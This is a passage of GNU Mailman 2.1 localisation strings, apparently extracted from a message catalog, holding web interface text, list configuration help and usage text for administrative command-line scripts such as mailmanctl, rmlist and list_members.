             disable prefix encoding.  This can make the subject headers
             slightly more readable for users with mail readers that don't
             properly handle non-ASCII encodings.

             <p>Note however, that if your mailing list receives both encoded
             and unencoded subject headers, you might want to choose <em>As
             needed</em>.  Using this setting, Mailman will not encode ASCII
             prefixes when the rest of the header contains only ASCII
             characters, but if the original header contains non-ASCII
             characters, it will encode the prefix.  This avoids an ambiguity
             in the standards which could cause some mail readers to display
             extra, or missing spaces between the prefix and the original
             header.Ignoring changes to deleted member: %(user)sIgnoring non-text/plain MIME partsIllegal Email Address: %(safeuser)sIllegal email address providedIllegal list name: %(s)sIn order to change your membership option, you must
    first log in by giving your %(extra)smembership password in the section
    below.  If you don't remember your membership password, you can have it
    emailed to you by clicking on the button below.  If you just want to
    unsubscribe from this list, click on the <em>Unsubscribe</em> button and a
    confirmation message will be sent to you.

    <p><strong><em>Important:</em></strong> From this point on, you must have
    cookies enabled in your browser, otherwise none of your changes will take
    effect.
    Initial %(listname)s password: Initial list of supported languages.  <p>Note that if you do not
        select at least one initial language, the list will use the server
        default language of %(deflang)sInitial list owner address:Initial list password:Initial list passwords do not matchInject a message from a file into Mailman's incoming queue.

Usage: inject [options] [filename]

Options:

    -h / --help
        Print this text and exit.

    -l listname
    --listname=listname
        The name of the list to inject this message to.  Required.

    -q queuename
    --queue=queuename
        The name of the queue to inject the message to.  The queuename must be
        one of the directories inside the qfiles directory.  If omitted, the
        incoming queue is used.

filename is the name of the plaintext message file to inject.  If omitted,
standard input is used.
Interrupted...Invalid confirmation string.  It is
            possible that you are attempting to confirm a request for an
            address that has already been unsubscribed.Invalid confirmation string.  Note that confirmation strings expire
approximately %(days)s days after the initial subscription request.  If your
confirmation has expired, please try to re-submit your original request or
message.Invalid options to CGI scriptInvalid options to CGI script.Invalid value for variable: %(property)sInviteIs archive file source for public or private archival?Is qrunner even running?Is the list moderator's approval required for unsubscription
             requests?  (<em>No</em> is recommended)ItalianJanJanuaryJapaneseJulJulyJunJuneKoreanLanguage&nbsp;optionsLanguages supported by this list.Last autoresponse notification for todayLeave the initial password (and confirmation) fields
                blank if you want Mailman to autogenerate the list
                passwords.Legacy anti-spam filtersListList CharacteristicsList Helpbot: %(requestaddr)sList IdentityList Owners:  %(owneraddr)sList admin onlyList all mailing lists.

Usage: %(program)s [options]

Where:

    -a / --advertised
        List only those mailing lists that are publically advertised

    --virtual-host-overview=domain
    -V domain
        List only those mailing lists that are homed to the given virtual
        domain.  This only works if the VIRTUAL_HOST_OVERVIEW variable is
        set.

    -b / --bare
        Displays only the list name, with no description.

    -h / --help
        Print this text and exit.

List all the members of a mailing list.

Usage: %(PROGRAM)s [options] listname

Where:

    --output file
    -o file
        Write output to specified file instead of standard out.

    --regular / -r
        Print just the regular (non-digest) members.

    --digest[=kind] / -d [kind]
        Print just the digest members.  Optional argument can be "mime" or
        "plain" which prints just the digest members receiving that kind of
        digest.

    --nomail[=why] / -n [why]
        Print the members that have delivery disabled.  Optional argument can
        be "byadmin", "byuser", "bybounce", or "unknown" which prints just the
        users who have delivery disabled for that reason.  It can also be
        "enabled" which prints just those member for whom delivery is
        enabled.

    --fullnames / -f
        Include the full names in the output.

    --preserve / -p
        Output member addresses case preserved the way they were added to the
        list.  Otherwise, addresses are printed in all lowercase.

    --invalid / -i
        Print only the addresses in the membership list that are invalid.
        Ignores -r, -d, -n.

    --unicode / -u
        Print addresses which are stored as Unicode objects instead of normal
        string objects.  Ignores -r, -d, -n.

    --help
    -h
        Print this help message and exit.

    listname is the name of the mailing list to use.

Note that if neither -r or -d is supplied, both regular members are printed
first, followed by digest members, but no indication is given as to address
status.
List all the owners of a mailing list.

Usage: %(program)s [options] listname ...

Where:

    --all-vhost=vhost
    -v=vhost
        List the owners of all the mailing lists for the given virtual host.

    --all
    -a
        List the owners of all the mailing lists on this system.

    --help
    -h
        Print this help message and exit.

`listname' is the name of the mailing list to print the owners of.  You can
have more than one named list on the command line.
List already exists: %(listname)sList already exists: %(safelistname)sList creator's (authentication) password:List membersList moderators (and list administrators) are sent daily
             reminders of requests pending approval, like subscriptions to a
             moderated list, or postings that are being held for one reason or
             another.  Setting this option causes notices to be sent
             immediately on the arrival of new requests as well.List my other subscriptionsList name is requiredList name is required.List name must not include "@": %(safelistname)sList name:    %(listname)sList of addresses which are banned from membership in this
             mailing list.List of non-member addresses whose postings should be
             automatically accepted.List of non-member addresses whose postings will be
             automatically discarded.List of non-member addresses whose postings will be
             automatically rejected.List of non-member addresses whose postings will be
             immediately held for moderation.List password:List subscriptions for %(safeuser)s on %(hostname)sList the owners of a mailing list, or all mailing lists.

Usage: %(PROGRAM)s [options] [listname ...]
Options:

    -w / --with-listnames
        Group the owners by list names and include the list names in the
        output.  Otherwise, the owners will be sorted and uniquified based on
        the email address.

    -m / --moderators
        Include the list moderators in the output.

    -h / --help
        Print this help message and exit.

    listname
        Print the owners of the specified lists.  More than one can appear
        after the options.  If there are no listnames provided, the owners of
        all the lists will be displayed.
List topic keywordsList traffic archival policies.List-specific text prepended to new-subscriber welcome
             messageList:List: %(listname)s, 	Owners: %(owners)sLithuanianLog inLog outLogoutMIMEMail deliveryMail&lt;-&gt;News&nbsp;gatewaysMail-to-News and News-to-Mail gateway services.Mailing list creation request for list %(listname)sMailing list creation resultsMailing list deletion resultsMailing list removal request for list %(listname)sMailmanMailman %(varname)s List Option HelpMailman Administrative Database ErrorMailman prefixes <tt>Subject:</tt> headers with
             <a href="?VARHELP=general/subject_prefix">text you can
             customize</a> and normally, this prefix shows up in messages
             gatewayed to Usenet.  You can set this option to <em>No</em> to
             disable the prefix on gated messages.  Of course, if you turn off
             normal <tt>Subject:</tt> prefixes, they won't be prefixed for
             gated messages either.Mailman privacy alertMailman won't accept the given email address as a valid address.
(E.g. it must have an @ in it.)Make your changes in the following section, then submit them
        using the <em>Submit Your Changes</em> button below.Many (in fact, most) spams do not explicitly name their
             myriad destinations in the explicit destination addresses - in
             fact often the To: field has a totally bogus address for
             obfuscation.  The constraint applies only to the stuff in the
             address before the '@' sign, but still catches all such spams.

             <p>The cost is that the list will not accept unhindered any
             postings relayed from other addresses, unless

             <ol>
                 <li>The relaying address has the same name, or

                 <li>The relaying address name is included on the options that
                 specifies acceptable aliases for the list.

             </ol>MarMarchMass RemovalsMass SubscriptionsMass catch upMass catchup completedMass&nbsp;RemovalMass&nbsp;SubscriptionMaximum length in kilobytes (KB) of a message body.  Use 0
             for no limit.MayMember filtersMember name successfully changed. Membership ListMembership exposureMembership re-enabled.Membership&nbsp;ListMembership&nbsp;Management...Message Excerpt:Message Headers:Message body is too big: %(size)d bytes with a limit of
%(limit)d KBMessage has a suspicious headerMessage has implicit destinationMessage may contain administriviaMessage rejected by filter rule matchModeratedModeratorModerator passwords did not matchMonMonthlyMore information: %(listurl)sMove rule downMove rule upMust posts have list named in destination (to, cc) field
             (or be among the acceptable alias names, specified below)?Name of list:Name:Natural language (internationalization) options.NeverNew %(listname)s password: %(notifypassword)sNew %(pwdesc)s password: New password for member %(member)40s: %(randompw)sNew subscription request to list %(realname)s from %(addr)sNew unsubscription request from %(realname)s by %(addr)sNews server settingsNext message:NoNo address givenNo child with pid: %(pid)sNo command given.No commands were found in this message.
To obtain instructions, send a message containing just the word "help".
No list named:No lists to searchNo matching mailing lists foundNo one can subscribe to the digest of this list!No problems foundNo reason givenNo runner name given.No subjectNo such list "%(listname)s"
%(e)sNo such list (or list already deleted): %(listname)sNo such list <em>%(safelistname)s</em>No such list: %(listname)sNo such list: %(listname)s.  Removing its residual archives.No such member: %(addr)sNo such member: %(safeuser)s.No valid address found to subscribeNo valid variable name found.Non-digest (regular) members:Non-digest&nbsp;optionsNon-member filtersNon-members are not allowed to post messages to this list.Non-standard property restored: %(k)sNoneNone - no verification steps (<em>Not
                           Recommended </em>)<br>
                           Confirm (*) - email confirmation step required <br>
                           Require approval - require list administrator
                           Approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br>

                           This prevents mischievous (or malicious) people
                           from creating subscriptions for others without
                           their consent.Normally, Mailman sends the regular delivery messages to
                 the mail server in batches.  This is much more efficent
                 because it reduces the amount of traffic between Mailman and
                 the mail server.

                 <p>However, some lists can benefit from a more personalized
                 approach.  In this case, Mailman crafts a new message for
                 each member on the regular delivery list.  Turning this
                 feature on may degrade the performance of your site, so you
                 need to carefully consider whether the trade-off is worth it,
                 or whether there are other ways to accomplish what you want.
                 You should also carefully monitor your system load to make
                 sure it is acceptable.

                 <p>Select <em>No</em> to disable personalization and send
                 messages to the members in batches.  Select <em>Yes</em> to
                 personalize deliveries and allow additional substitution
                 variables in message headers and footers (see below).  In
                 addition, by selecting <em>Full Personalization</em>, the
                 <code>To</code> header of posted messages will be modified to
                 include the member's address instead of the list's posting
                 address.

                 <p>When personalization is enabled, a few more expansion
                 variables that can be included in the <a
                 href="?VARHELP=nondigest/msg_header">message header</a> and
                 <a href="?VARHELP=nondigest/msg_footer">message footer</a>.

                 <p>These additional substitution variables will be available
                 for your headers and footers, when this feature is enabled:

                 <ul><li><b>user_address</b> - The address of the user,
                         coerced to lower case.
                     <li><b>user_delivered_to</b> - The case-preserved address
                         that the user is subscribed with.
                     <li><b>user_password</b> - The user's password.
                     <li><b>user_name</b> - The user's full name.
                     <li><b>user_optionsurl</b> - The url to the user's option
                         page.
                 </ul>
                 NorwegianNot a valid email address: %(toaddr)sNot authenticatedNot removing archives.  Reinvoke with -a to remove them.Not subscribedNote: Since this is a list of mailing lists, administrative
notices like the password reminder will be sent to
your membership administrative address, %(addr)s.Note: your list delivery is currently disabled%(reason)s.Nothing to do.NotificationsNovNovemberNumber of days between auto-responses to either the mailing
             list or -request/-owner address from the same poster.  Set to
             zero (or negative) for no grace period (i.e. auto-respond to
             every message).OctOctoberOffOkay, the list moderator will still have the
    opportunity to approve or reject this message.OnOnce a month, your password will be emailed to you as a reminder.One of these actions is taken when the message matches one of
             the content filtering rules, meaning, the top-level
             content type matches one of the <a
             href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>, or the top-level content type does
             <strong>not</strong> match one of the
             <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a>, or if after filtering the subparts of the
             message, the message ends up empty.

             <p>Note this action is not taken if after filtering the message
             still contains content.  In that case the message is always
             forwarded on to the list membership.

             <p>When messages are discarded, a log entry is written
             containing the Message-ID of the discarded message.  When
             messages are rejected or forwarded to the list owner, a reason
             for the rejection is included in the bounce message to the
             original author.  When messages are preserved, they are saved in
             a special queue directory on disk for the site administrator to
             view (and possibly rescue) but otherwise discarded.  This last
             option is only available if enabled by the site
             administrator.Open list, moderated groupOriginal MessageOther Administrative ActivitiesOverview of all %(hostname)s mailing listsPID unreadable in: %(pidfile)sPassword change failed.Password changed.Password reminderPassword successfully changed.Password:Password: PasswordsPasswords did not match!Passwords do not match; no changes made.Passwords may not be blankPattern (as regexp):Permanently ban from this listPermanently remove mailing list <em>%(realname)s</em>Pickling archive state into PlainPlease do *not* post administrative requests to the mailing
list.  If you wish to subscribe, visit %(listurl)s or send a message with the
word `help' in it to the request address, %(request)s, for further
instructions.Please enter the confirmation string
    (i.e. <em>cookie</em>) that you received in your email message, in the box
    below.  Then hit the <em>Submit</em> button to proceed to the next
    confirmation step.Please trim the recipient list; it is too long.Policies concerning immediately delivered list traffic.PolishPortuguesePortuguese (Brazil)Post by non-member to a members-only listPost to moderated listPosted message canceledPosterPosting Held for ApprovalPosting of your message titled "%(subject)s"Posting to a moderated newsgroupPosting to a restricted list by sender requires approvalPostings from any of these non-members will be automatically
             discarded.  That is, the message will be thrown away with no
             further processing or notification.  The sender will not receive
             a notification or a bounce, however the list moderators can
             optionally <a href="?VARHELP=privacy/sender/forward_auto_discards"
             >receive copies of auto-discarded messages.</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.Postings from any of these non-members will be automatically
             rejected.  In other words, their messages will be bounced back to
             the sender with a notification of automatic rejection.  This
             option is not appropriate for known spam senders; their messages
             should be
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >automatically discarded</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.Postings from any of these non-members will be immediately
             and automatically held for moderation by the list moderators.
             The sender will receive a notification message which will allow
             them to cancel their held message.  Add member addresses one per
             line; start the line with a ^ character to designate a regular
             expression match.Postings to:  %(postaddr)sPreferred language:Prefix <tt>Subject:</tt> headers on postings gated to news?Prefix for subject line of list postings.PreservePreserve message for site administratorPreserve messages for the site administratorPrevious message:Primary start-up and shutdown script for Mailman's qrunner daemon.

This script starts, stops, and restarts the main Mailman queue runners, making
sure that the various long-running qrunners are still alive and kicking.  It
does this by forking and exec'ing the qrunners and waiting on their pids.
When it detects a subprocess has exited, it may restart it.

The qrunners respond to SIGINT, SIGTERM, and SIGHUP.  SIGINT and SIGTERM both
cause the qrunners to exit cleanly, but the master will only restart qrunners
that have exited due to a SIGINT.  SIGHUP causes the master and the qrunners
to close their log files, and reopen then upon the next printed message.

The master also responds to SIGINT, SIGTERM, and SIGHUP, which it simply
passes on to the qrunners (note that the master will close and reopen its own
log files on receipt of a SIGHUP).  The master also leaves its own process id
in the file data/master-qrunner.pid but you normally don't need to use this
pid directly.  The `start', `stop', `restart', and `reopen' commands handle
everything for you.

Usage: %(PROGRAM)s [options] [ start | stop | restart | reopen ]

Options:

    -n/--no-restart
        Don't restart the qrunners when they exit because of an error or a
        SIGINT.  They are never restarted if they exit in response to a
        SIGTERM.  Use this only for debugging.  Only useful if the `start'
        command is given.

    -u/--run-as-user
        Normally, this script will refuse to run if the user id and group id
        are not set to the `mailman' user and group (as defined when you
        configured Mailman).  If run as root, this script will change to this
        user and group before the check is made.

        This can be inconvenient for testing and debugging purposes, so the -u
        flag means that the step that sets and checks the uid/gid is skipped,
        and the program is run as the current user and group.  This flag is
        not recommended for normal production environments.

        Note though, that if you run with -u and are not in the mailman group,
        you may have permission problems, such as begin unable to delete a
        list's archives through the web.  Tough luck!

    -s/--stale-lock-cleanup
        If mailmanctl finds an existing master lock, it will normally exit
        with an error message.  With this option, mailmanctl will perform an
        extra level of checking.  If a process matching the host/pid described
        in the lock file is running, mailmanctl will still exit, but if no
        matching process is found, mailmanctl will remove the apparently stale
        lock and make another attempt to claim the master lock.

    -q/--quiet
        Don't print status messages.  Error messages are still printed to
        standard error.

    -h/--help
        Print this message and exit.

Commands:

    start   - Start the master daemon and all qrunners.  Prints a message and
              exits if the master daemon is already running.

    stop    - Stops the master daemon and all qrunners.  After stopping, no
              more messages will be processed.

    restart - Restarts the qrunners, but not the master process.  Use this
              whenever you upgrade or update Mailman so that the qrunners will
              use the newly installed code.

    reopen  - This will close all log files, causing them to be re-opened the
              next time a message is written to them
Privacy options...Private Archive ErrorPrivate Archive Error - %(msg)sPrivate archive file not foundProblems found:Public mailing lists at %(hostname)s:Python PoweredQuarterlyRFC 2369 defines a set of List-* headers that are
                 normally added to every message sent to the list membership.
                 These greatly aid end-users who are using standards compliant
                 mail readers.  They should normally always be enabled.

                 <p>However, not all mail readers are standards compliant yet,
                 and if you have a large number of members who are using
                 non-compliant mail readers, they may be annoyed at these
                 headers.  You should first try to educate your members as to
                 why these headers exist, and how to hide them in their mail
                 clients.  As a last resort you can disable these headers, but
                 this is not recommended (and in fact, your ability to disable
                 these headers may eventually go away).Re-enable mailing list membershipRe-enable membershipRe-opening all log filesReason for refusalReason:Receive digests?Received:Recipient filtersRecipient&nbsp;filtersReduce disk space usage for Pipermail archives.

Usage: %(PROGRAM)s [options] file ...

Where options are:
    -h / --help
        Print this help message and exit.

Only use this to 'fix' archive -article database files that have been written
with Mailman 2.1.3 or earlier and have html_body attributes in them.  These
attributes can cause huge amounts of memory bloat and impact performance for
high activity lists, particularly those where large text postings are made to
them.

Example:

%% ls -1 archives/private/*/database/*-article | xargs %(PROGRAM)s

You should run `bin/check_perms -f' after running this script.

You will probably want to delete the -article.bak files created by this script
when you are satisfied with the results.

This script is provided for convenience purposes only.  It isn't supported.
Regenerate Mailman specific aliases from scratch.

The actual output depends on the value of the `MTA' variable in your mm_cfg.py
file.

Usage: genaliases [options]
Options:

    -q/--quiet
        Some MTA output can include more verbose help text.  Use this to tone
        down the verbosity.

    -h/--help
        Print this message and exit.
Regexp:RegularRejectRejectsReloading pickled archive stateRemindRemove message attachments that don't have a matching
             content type.  Leave this field blank to skip this filter
             test.Remove message attachments that don't have a matching
             filename extension.  Leave this field blank to skip this filter
             test.Remove message attachments that have a matching filename
             extension.Remove the components of a mailing list with impunity - beware!

This removes (almost) all traces of a mailing list.  By default, the lists
archives are not removed, which is very handy for retiring old lists.

Usage:
    rmlist [-a] [-h] listname

Where:
    --archives
    -a
        Remove the list's archives too, or if the list has already been
        deleted, remove any residual archives.

    --help
    -h
        Print this help message and exit.

Removing %(msg)sRequest to mailing list %(realname)s rejectedRequested topic is not valid: %(topicname)sRequire approvalReset the passwords for members of a mailing list.

This script resets all the passwords of a mailing list's members.  It can also
be used to reset the lists of all members of all mailing lists, but it is your
responsibility to let the users know that their passwords have been changed.

This script is intended to be run as a bin/withlist script, i.e.

% bin/withlist -l -r reset_pw listname [options]

Options:
    -v / --verbose
        Print what the script is doing.
Restarting Mailman's master qrunnerReturn the generated output.Return to the RomanianRun this program as root or as the %(name)s user, or use -u.RussianSatSaving listScrub attachments of regular delivery message?Search...SecondSelect page to edit:Send "list created" email to list owner?Send goodbye message to members when they are unsubscribed?Send mail to poster when their posting is held for approval?Send monthly password reminders?Send notifications of new subscriptions to the list owner?Send notifications to the list owner?Send password reminders to, eg, "-owner" address instead of
             directly to user.Send unsubscription acknowledgement to the user?Send welcome message to newly subscribed members?Send welcome messages to new subscribees?Sender discarded message via web.Sender is explicitly forbiddenSender&nbsp;filtersSepSeptemberSerbianServer Local TimeSetSet the site password, prompting from the terminal.

The site password can be used in most if not all places that the list
administrator's password can be used, which in turn can be used in most places
that a list users password can be used.

Usage: %(PROGRAM)s [options] [password]

Options:

    -c/--listcreator
        Set the list creator password instead of the site password.  The list
        creator is authorized to create and remove lists, but does not have
        the total power of the site administrator.

    -h/--help
        Print this help message and exit.

If password is not given on the command line, it will be prompted for.
Set this to yes when this list is intended to cascade only
             to other mailing lists.  When set, meta notices like
             confirmations and password reminders will be directed to an
             address derived from the member's address - it will have the
             value of "umbrella_member_suffix" appended to the member's
             account name.Setting this option causes member email addresses to be
             transformed when they are presented on list web pages (both in
             text and as links), so they're not trivially recognizable as
             email addresses.  The intention is to prevent the addresses
             from being snarfed up by automated web scanners for use by
             spammers.Setting this option instructs Mailman to start a new volume
             with the next digest sent out.Should Mailman convert <tt>text/html</tt> parts to plain
             text?  This conversion happens after MIME attachments have been
             stripped.Should Mailman filter the content of list traffic according
             to the settings below?Should Mailman notify you, the list owner, when bounces
             cause a member to be unsubscribed?Should Mailman notify you, the list owner, when bounces
             cause a member's subscription to be disabled?Should Mailman perform a <em>catchup</em> on the newsgroup?Should Mailman perform automatic bounce processing?Should Mailman personalize each non-digest delivery?
                 This is often useful for announce-only lists, but <a
                 href="?VARHELP=nondigest/personalize">read the details</a>
                 section for a discussion of important performance
                 issues.Should Mailman send an auto-response to emails sent to the
             -owner address?Should Mailman send an auto-response to emails sent to the
             -request address?  If you choose yes, decide whether you want
             Mailman to discard the original email, or forward it on to the
             system as a normal mail command.Should Mailman send an auto-response to mailing list
             posters?Should Mailman send the next digest right now, if it is not
             empty?Should Mailman send you, the list owner, any bounce messages
             that failed to be detected by the bounce processor?  <em>Yes</em>
             is recommended.Should Mailman start a new digest volume?Should a digest be dispatched daily when the size threshold isn't reached?Should administrator get notices of subscribes and
             unsubscribes?Should any existing <tt>Reply-To:</tt> header found in the
             original message be stripped?  If so, this will be done
             regardless of whether an explict <tt>Reply-To:</tt> header is
             added by Mailman or not.Should messages from non-members, which are automatically
             discarded, be forwarded to the list moderator?Should messages from this mailing list include the
                 <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>
                 (i.e. <tt>List-*</tt>) headers?  <em>Yes</em> is highly
                 recommended.Should new members be quarantined before they
    are allowed to post unmoderated to this list?  Answer <em>Yes</em> to hold
    new member postings for moderator approval by default.Should new posts to the mailing list be sent to the
             newsgroup?Should new posts to the newsgroup be sent to the mailing
             list?Should postings include the <tt>List-Post:</tt> header?Should the list moderators get immediate notice of new
             requests, as well as daily notices about collected ones?Should the topic filter be enabled or disabled?Show member addresses so they're not directly recognizable
             as email addresses?Show the contents of one or more Mailman queue files.

Usage: show_qfiles [options] qfile ...

Options:

    -q / --quiet
        Don't print `helpful' message delimiters.

    -h / --help
        Print this text and exit.

Example: show_qfiles qfiles/shunt/*.pck
Shutting down Mailman's master qrunnerSite list is missing: %(sitelistname)sSize:Skipped content of type %(partctype)s
SlovenianSome unknown error occurred while creating the list.
                Please contact the site administrator for assistance.Spam Filter Regexp:Spam Filter Rule %(i)dSpam&nbsp;filtersSpanish (Spain)Stale pid file removed.Starting Mailman's master qrunner.Subject:SubmitSubmit All DataSubmit ChangesSubmit My ChangesSubmit Your ChangesSubscribeSubscribe results pageSubscribe these users now or invite them?Subscribe to list %(listname)sSubscribed: %(member)sSubscribingSubscription RequestsSubscription requestSubscription request confirmedSubscription request succeeded.Subscription&nbsp;rulesSuccessfully Removed:Successfully Unsubscribed:Successfully invited:Successfully subscribed:Suffix for use when this list is an umbrella for other
             lists, according to setting of previous "umbrella_list"
             setting.SunSwedishSystem error, bad content: %(content)sTend to pending moderator requestsText appended to the bottom of every immediately-delivery
             message. Text attached (as a final message) to the bottom of digests. Text attached (as an initial message, before the table of contents) to the top of digests. Text prepended to the top of every immediately-delivery
             message. Text sent to people leaving the list.  If empty, no special
             text will be added to the unsubscribe message.Text to include in any
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >rejection notice</a> to
             be sent to moderated members who post to this list.Text to include in any rejection notice to be sent to
             non-members who post to this list. This notice can include
             the list's owner address by %%(listowner)s and replaces the
             internally crafted default message.Text%(sz)sThe "host_name" is the preferred name for email to
             mailman-related addresses on this host, and generally should be
             the mail host's exchanger address, if any.  This setting can be
             useful for selecting among alternative names of a host that has
             multiple addresses.The <em>list administrators</em> are the people who have ultimate control over
all parameters of this mailing list.  They are able to change any list
configuration variable available through these administration web pages.

<p>The <em>list moderators</em> have more limited permissions; they are not
able to change any list configuration variable, but they are allowed to tend
to pending administration requests, including approving or rejecting held
subscription requests, and disposing of held postings.  Of course, the
<em>list administrators</em> can also tend to pending requests.

<p>In order to split the list ownership duties into administrators and
moderators, you must set a separate moderator password in the fields below,
and also provide the email addresses of the list moderators in the
<a href="%(adminurl)s/general">general options section</a>.The <tt>List-Post:</tt> header is one of the headers
             recommended by
             <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>.
             However for some <em>announce-only</em> mailing lists, only a
             very select group of people are allowed to post to the list; the
             general membership is usually not allowed to post.  For lists of
             this nature, the <tt>List-Post:</tt> header is misleading.
             Select <em>No</em> to disable the inclusion of this header. (This
             does not affect the inclusion of the other <tt>List-*:</tt>
             headers.)The Mailman ReplybotThe Week Of Monday %(day)i %(month)s %(year)iThe `join' command is synonymous with `subscribe'.
The `leave' command is synonymous with `unsubscribe'.
The `remove' command is synonymous with `unsubscribe'.
The address requesting to be changed has
                    been subsequently unsubscribed.  This request has been
                    cancelled.The address requesting unsubscription is not
                a member of the mailing list.  Perhaps you have already been
                unsubscribed, e.g. by the list administrator?The attached message has been automatically discarded.The attached message matched the %(listname)s mailing list's content filtering
rules and was prevented from being forwarded on to the list membership.  You
are receiving the only remaining copy of the discarded message.

The attached message was received as a bounce, but either the bounce format
was not recognized, or no member addresses could be extracted from it.  This
mailing list has been configured to send all unrecognized bounce messages to
the list administrator(s).

For more information see:
%(adminurl)s

The capitalization of this name can be changed to make it
             presentable in polite company as a proper noun, or to make an
             acronym part all upper case, etc.  However, the name will be
             advertised as the email address (e.g., in subscribe confirmation
             notices), so it should <em>not</em> be otherwise altered.  (Email
             addresses are not case sensitive, but they are sensitive to
             almost everything else :-)The confirmation email has been sent.The current archiveThe email address you supplied is banned from this
        mailing list.  If you think this restriction is erroneous, please
        contact the list owners at %(listowner)s.The email address you supplied is banned from this mailing list.
If you think this restriction is erroneous, please contact the list
owners at %(listowner)s.The email address you supplied is not valid.  (E.g. it must contain an
`@'.)The following illegal substitution variables were
                found in the <code>%(property)s</code> string:
                <code>%(bad)s</code>
                <p>Your list may not operate properly until you correct this
                problem.The header filter rule pattern
                '%(safepattern)s' is not a legal regular expression.  This
                rule will be ignored.The held message with the Subject:
            header <em>%(subject)s</em> could not be found.  The most likely
            reason for this is that the list moderator has already approved or
            rejected the message.  You were not able to cancel it in
            time.The held message you were referred to has
        already been handled by the list administrator.The hostname of the machine your news server is running on.The list administrator email addresses.  Multiple
             administrator addresses, each on separate line is okay.The list administrator has disabled digest delivery for
            this list, so your delivery option has not been set.  However your
            other options have been set successfully.The list administrator has disabled non-digest delivery
            for this list, so your delivery option has not been set.  However
            your other options have been set successfully.The list moderator email addresses.  Multiple
             moderator addresses, each on separate line is okay.The list password cannot be emptyThe list password cannot be empty<!-- ignore -->The mailing list `%(listname)s' has been created via the through-the-web
interface.  In order to complete the activation of this mailing list, the
proper /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries for the /etc/aliases file:
The mailing list `%(listname)s' has been removed via the through-the-web
interface.  In order to complete the de-activation of this mailing list, the
appropriate /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries in the /etc/aliases file that should be removed:
The master qrunner lock could not be acquired because it appears as if another
master qrunner is already running.
The master qrunner lock could not be acquired, because it appears as if some
process on some other host may have acquired it.  We can't test for stale
locks across host boundaries, so you'll have to do this manually.  Or, if you
know the lock is stale, re-run mailmanctl with the -s flag.

Lock file: %(LOCKFILE)s
Lock host: %(status)s

Exiting.The master qrunner lock could not be acquired.  It appears as though there is
a stale master qrunner lock.  Try re-running mailmanctl with the -s flag.
The maximum member bounce score before the member's
             subscription is disabled.  This value can be a floating point
             number.The message headers matched a filter ruleThe message's content type was explicitly disallowedThe message's content type was not explicitly allowedThe message's file extension was explicitly disallowedThe message's file extension was not explicitly allowedThe moderation policy of the newsgroup.The name of the Usenet group to gateway to and/or from.The new address is already a member: %(newaddr)sThe new address you requested %(newaddr)s is already a member of the
%(listname)s mailing list, however you have also requested a global change of
address.  Upon confirmation, any other mailing list containing the address
%(safeuser)s will be changed. The next digest will be sent as volume
            %(volume)s, number %(number)sThe number of days after which a member's bounce information
             is discarded, if no new bounces have been received in the
             interim.  This value must be an integer.The number of days between sending the <em>Your Membership
             Is Disabled</em> warnings.  This value must be an integer.The public name of this list (make case-changes only).The results of your email command are provided below.
Attached is your original message.
The results of your email commandsThe subscribers listThe text will be treated as html <em>except</em> that
             newlines will be translated to &lt;br&gt; - so you can use links,
             preformatted text, etc, but don't put in carriage returns except
             where you mean to separate paragraphs.  And review your changes -
             bad html (like some unterminated HTML constructs) can prevent
             display of the entire listinfo page.The topic filter categorizes each incoming email message
             according to <a
            href="http://docs.python.org/library/re.html">regular
             expression filters</a> you specify below.  If the message's
             <code>Subject:</code> or <code>Keywords:</code> header contains a
             match against a topic filter, the message is logically placed
             into a topic <em>bucket</em>.  Each user can then choose to only
             receive messages from the mailing list for a particular topic
             bucket (or buckets).  Any message not categorized in a topic
             bucket registered with the user is not delivered to the list.

             <p>Note that this feature only works with regular delivery, not
             digest delivery.

             <p>The body of the message can also be optionally scanned for
             <code>Subject:</code> and <code>Keywords:</code> headers, as
             specified by the <a
       href="?VARHELP=topics/topics_bodylines_limit">topics_bodylines_limit</a>
             configuration variable.The topic matcher will scan this many lines of the message
             body looking for topic keyword matches.  Body scanning stops when
             either this many lines have been looked at, or a non-header-like
             body line is encountered.  By setting this value to zero, no body
             lines will be scanned (i.e. only the <code>Keywords:</code> and
             <code>Subject:</code> headers will be scanned).  By setting this
             value to a negative number, then all body lines will be scanned
             until a non-header-like line is encountered.
             The topic pattern '%(safepattern)s' is not a
                legal regular expression.  It will be discarded.There are no pending requests.There are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the <a href="?VARHELP=general/moderator">email
             addresses of the list moderators</a>.  Note that the field you
             are changing here specifies the list administrators.There are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the email addresses of the list moderators in
             this section.  Note that the field you are changing here
             specifies the list moderators.There was no digest to send.There were some problems deleting the mailing list
        <b>%(listname)s</b>.  Contact your site administrator at %(sitelist)s
        for details.These policies control the automatic bounce processing system
            in Mailman.  Here's an overview of how it works.

            <p>When a bounce is received, Mailman tries to extract two pieces
            of information from the message: the address of the member the
            message was intended for, and the severity of the problem causing
            the bounce.  The severity can be either <em>hard</em> or
